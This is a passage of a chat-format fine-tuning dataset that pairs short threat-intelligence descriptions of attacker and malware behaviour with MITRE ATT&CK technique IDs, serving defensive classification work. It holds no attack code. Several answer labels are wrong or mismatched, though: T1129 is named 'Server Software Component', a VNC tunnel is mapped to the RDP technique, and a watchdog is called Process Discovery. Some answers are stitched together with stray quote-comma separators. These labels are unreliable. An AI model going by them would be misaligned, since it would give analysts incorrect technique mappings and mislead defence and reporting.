                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider has served fake updates via legitimate websites that have been compromised."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae has created a service named \"Windows Update Agent1\" to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We believe this access was abused, for example, by inserting malicious scripts in the country’s official websites in order to conduct watering hole attacks"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has used a delivered trojan to download additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tonto Team has used tools such as NBTscan to enumerate network shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can start a VNC-based remote desktop server and tunnel the connection through the already established C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to enumerate system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has placed scripts in the startup folder for persistence and modified the `HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce` Registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The new domain names follow the same pattern as previously reported, except that they swap the top level domain name for another. We know that the threat actor has used the “.me” TLD in their past campaigns against some academic intuitions and this is still the case, along side “.tk” and “.cf"
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A new registry entry is created at HKEY_CURRENT_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Graphics with a value of “C:\\ ProgramData \\ Initech \\Initech.exe” /run."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 used Outlook Credential Dumper to harvest credentials stored in Windows registry."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "yty communicates to the C2 server by retrieving a Google Doc."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy installs an application-defined Windows hook to get notified when a network drive has been attached, so it can then use the hook to call its RecordToFile file stealing method."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dropper installs the Bisonal EXE file and decoy PDF file. These files are not encrypted and the offset to the EXE and PDF file in the dropper is appended at the end of the dropper file. The file name of the decoy file is based on the dropper file name. The dropper code creates a PDF at the same directory, give the same name with itself to the decoy file, removes .exe and adds .pdf in the code. The dropper also creates two VBS scripts in the %Temp% directory with a random 4 digits hexadecimal name. The other deletes the dropper and the VBS script itself"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If after the package has been decoded its size is bigger than 3 bytes, the Trojan decrypts its first 11 bytes with XOR using the method similar to the one described above"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the past, this APT has relied on Hangul Office documents (hwp files) to target victims, as it’s software that’s commonly used in South Korea. However, in this blog we describe an interesting alternative method, delivered via self-decoding VBA Office files"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has hosted malicious files on compromised as well as Lazarus Group-controlled servers."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Currently, Agent Tesla continues to be utilized in various stages of attacks. Agent Tesla is now able to harvest configuration data and credentials from a number of common VPN clients, FTP and Email clients, and Web Browsers. The malware has the ability to extract credentials from the registry as well as related configuration or support files. Our analysis of a swatch of current Agent Tesla samples reveals the following list of targeted software"
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry', 'T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to identify the OS version, OS bit information and computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to list the victim's processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuietSieve can search files on the target host by extension, including doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Brute-force using a pre-defined list of usernames and passwords in an attempt to login to Admin panels"
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 aggregates staged data from a network into a single location."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NV.html, tracked by Microsoft as EnvyScout, can be best described as a malicious dropper capable of de-obfuscating and writing a malicious ISO file to disk. EnvyScout is chiefly delivered to targets of NOBELIUM by way of an attachment to spear-phishing emails"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TINYTYPHON searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can collect CPU and architecture information from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can use cmd.exe for command execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT can obtain passwords from FTP clients."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to upload to its C2 server victim browser bookmarks."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Bookmark Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silent Librarian has obtained free and publicly available tools including SingleFile and HTTrack to copy login pages of targeted organizations."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A notable characteristic of CopyKittens is the use of DNS for command and control communication (C&C) and for data exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has searched the Image File Execution Options registry key for \"Debugger\" within every subkey."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volexity reported yesterday that its analysts had identified approximately 1,600 ZCS servers that they believe were compromised by threat actors leveraging CVE-2022-41352 to plant webshells"
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PyDCrypt has probed victim machines with \"whoami\" and has collected the username from the machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We have identified 127 different domains used to host Silent Librarian phishing sites since 2013. Like a growing number of phishing sites, domains registered by Silent Librarian generally use Freenom top-level domains (TLDs) (.TK, . CF, .GA, .GQ, .ML) because they are available at no cost. The group has used domains on other TLDs, though rather sparingly. Some of the other recent TLDs associated with Silent Librarian domains include .IN, .IR, .INFO, .LINK, and .TOP"
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to download files from a given URL."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "payloads download additional files from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware displays fake forms on top of the banking sites and intercepts credentials from the victims. It can also display a fake Windows Update whenever there is nefarious activity in the background, as seen in Figure 23"
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak also collects information on accounts, files and directories, group permissions, and registries."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used a CHM payload to load and execute another malicious file once delivered to a victim."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - Signed Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI can gather the OS version, architecture information, connected drives, hostname, RAM size, and disk space information from the victim’s machine and has used \"cmd /c systeminfo\" command to get a snapshot of the current system state of the target machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command_Down_exec: This command downloads and executes new modules.  It takes a url as the argument and uses that to download and execute files"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tracing the origin of the hidden .mina file showed that it is a copy of an included resource, renamed SubMenu.nib, from the application bundle and where the main backdoor functions were contained. It also has the same links to Lazarus’ Windows and Linux predecessors: the presence of the hardcoded strings c_2910.cls and k_3872.cls. Both strings were previously used during C&amp;C communication to the domain thevagabondsatchel[.]com as the sample storage of the cybercriminal group, as reported by 360 Netlab researchers"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dridex has encrypted traffic with RSA."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon has used call to \"LoadLibrary\" to load its installer. PipeMon loads its modules using reflective loading or custom shellcode."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses Rundll32 to load and execute malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has queried the AWS instance metadata service for credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prikormka adds itself to a Registry Run key with the name guidVGA or guidVSA."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments to recipients."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpeakUp uses POST and GET requests over HTTP to communicate with its main C&C server."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS can use WMI queries to retrieve data from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa decrypts a downloaded file using AES-128-EBC with a custom delta."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire includes various modules for enumerating Group Policy."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mongall can use `rundll32.exe` for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Spalax, the threat actors used packers that read pixel data from images contained in PE files' resource sections and build the next layer of execution from the data."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has used PowerShell commands embedded inside batch scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "extracts and decrypts stage 3 malware, which is stored in encrypted resources."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used shellcode to download Meterpreter after compromising a victim."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT contains watchdog functionality that ensures its process is always running, else spawns a new instance."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CVE-2022-42821 allows hackers to bypass Gatekeeper by setting restrictive Access Control Lists (ACLs) using specially-crafted payloads that prohibit Safari, web downloaders or any other program through which an app is downloaded from setting com.apple.quarantine attribute to the downloaded file/application/software."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Like the ChinaChopper web shell, the OwaAuth web shell requires a password"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. CTU researchers identified two versions of Daserf written in Visual C and Delphi. Datper uses an RC4-encrypted configuration to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. RarStar HTTP POST request. Use malware to upload the large list of enumerated files to the C2 server. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of probing the network for open ports."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Vetala used spearphishing emails with embedded links to a legitimate file-sharing service to distribute their malicious package"
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 messages are Base64-encoded."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth uses the LoadLibraryExW() function to load additional modules."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM targeted presidential campaign staffers with credential phishing e-mails."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also deletes Windows Event Logs : Application, Security, Setup, System. It is less focused on deleting documents"
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BONDUPDATER persists using a scheduled task that executes every minute."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot communicated with its C2 server via HTTP GET requests."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OwaAuth uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBStealer drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim."
            },
            {
                "role": "assistant",
